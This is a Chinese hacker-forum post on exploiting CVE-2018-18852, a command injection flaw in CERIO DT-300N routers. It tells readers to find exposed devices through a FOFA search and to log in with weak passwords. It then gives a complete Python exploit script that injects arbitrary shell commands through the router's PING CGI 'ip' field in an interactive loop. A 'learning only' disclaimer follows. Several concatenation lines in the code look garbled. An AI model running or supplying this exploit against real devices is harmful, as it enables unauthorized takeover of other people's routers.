联系我们联系我们
电子邮箱电子邮箱

CVE-2018-18852 简单利用

[复制链接]
  • TA的每日心情
    奋斗
    2019-7-17 14:16
  • 签到天数: 72 天

    [LV.6]常住居民II

    知秋一叶 发表于 2020-10-16 17:19:10
    74 0
    漏洞详情
    CERIO DT-300N是中国台湾智鼎资讯(CERIO)公司的一款无线路由器。 CERIO DT-300N 1.1.6版本至1.1.12版本中存在操作命令注入漏洞。攻击者可利用该漏洞执行ping命令。

    QQ截图20201016165254.png


    漏洞利用
    查找具备漏洞版本的目标,这里利用FOFA搜索的 title="CERIO" 关键信息,然后找个弱口令登入进去。

    QQ截图20201016165453.png

    编辑代码另存为ok.py(大佬代码如下)
    1. #author:九世
    2. #time:2019/1/30

    3. import requests
    4. import json
    5. import base64

    6. class Demo:
    7.     def __init__(self,headers,url,payload,url2):
    8.         self.headers=headers
    9.         self.url=url
    10.         self.payload=payload
    11.         self.url2=url2

    12.     def requet(self):
    13.         ver = 'DT-300N-NGS-M'
    14.         ver2='DT-300N'
    15.         version=''
    16.         vurl=''
    17.         rqt=requests.post(url=self.url,headers=self.headers,data=self.payload)
    18.         nurl=''
    19.         nersion=''
    20.         if rqt.status_code==requests.codes.ok:
    21.             print('[ ] Router version number is {}'.format(ver))
    22.             while True:
    23.                 rqt = requests.post(url=self.url, headers=self.headers, data=self.payload)
    24.                 nurl =rqt.url
    25.                 nersion =ver
    26.                 nary=json.loads(rqt.content)
    27.                 cmd = input('command:')
    28.                 payload = {'ip': '127.0.0.1;' 'echo "[[[";' cmd, 'pid': nary['pid'], 'Times': 1}
    29.                 self.command(self.url, headers, payload,nersion)

    30.         elif rqt.status_code==requests.codes.not_found: #判断状态码是否为404
    31.             print('[-] Router version number is not {}'.format(ver))
    32.             rqts=requests.post(url=self.url2,headers=headers,data=self.payload)
    33.             if rqts.status_code==requests.codes.ok:
    34.                 print('[ ] Router version number is {}'.format(ver2))
    35.                 while True:
    36.                     rqts = requests.post(url=self.url2, headers=headers, data=self.payload)
    37.                     version =ver2
    38.                     vurl =rqts.url
    39.                     vary=json.loads(rqts.content)
    40.                     cmd=input('command:')
    41.                     payload = {'ip': '127.0.0.1;' 'echo "[[[";' cmd, 'pid': vary, 'Times': 1}
    42.                     self.command(self.url2,headers,payload,version)
    43.             elif rqts.status_code==requests.codes.not_found:
    44.                 print('[-] Router version number is not {}'.format(ver2))
    45.                 exit()
    46.             elif rqts.status_code==requests.codes.unauthorized:
    47.                 print('[-] Auth is invalid, try other creds')
    48.                 exit()

    49.     def command(self,url,header,data,ver):
    50.         rsv=requests.post(url=url,headers=header,data=data)
    51.         if ver=='DT-300N':
    52.             print(rsv.text.split('/html')[1])
    53.         else:
    54.             print(rsv.text.split('[[[')[1])
    55. if __name__ == '__main__':
    56.     print('[&]')
    57.     print('[!] CERIO DT-300N-NGS-M\n[!] CERIO DT-300N')
    58.     print('')
    59.     t=''
    60.     path='/cgi-bin/main.cgi?cgi=PING&mode=9'
    61.     path2='/cgi-bin/Save.cgi?cgi=PING'
    62.     user=input('host:').strip()
    63.     ports=input('port:').strip()
    64.     username=input('creds:').strip()
    65.     creds=bytes(base64.b64encode(bytes(username,encoding='utf-8'))).decode('utf-8')
    66.     if ports in '443':
    67.         t ='https://'
    68.     else:
    69.         t ='http://'


    70.     urls=t user ':' ports path
    71.     urls2=t user ':' ports path2
    72.     payload={'cgi':'PING','mode':9}
    73.     headers={'content-type': 'application/json', 'Host': user, 'Accept-Encoding': 'gzip, deflate','Content-Length': '0', 'Connection': 'keep-alive', 'Authorization': 'Basic {}'.format(creds)}
    74.     obj=Demo(headers=headers,payload=payload,url=urls,url2=urls2)
    75.     obj.requet()
    复制代码

    运行命令
    python3 ok.py   

    QQ截图20201016165221.png


    利用成功,可以返回当前用户信息

    注:本实验不得用于商业用途,仅做学习交流,一切后果自行承担。


    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    发表新帖

    小黑屋|手机版|Archiver|华盟论坛 ( 京ICP备11013304号-8 )

    Powered by 华盟网 X 8.0  © 2001-2013 Comsenz Inc.  华夏黑客同盟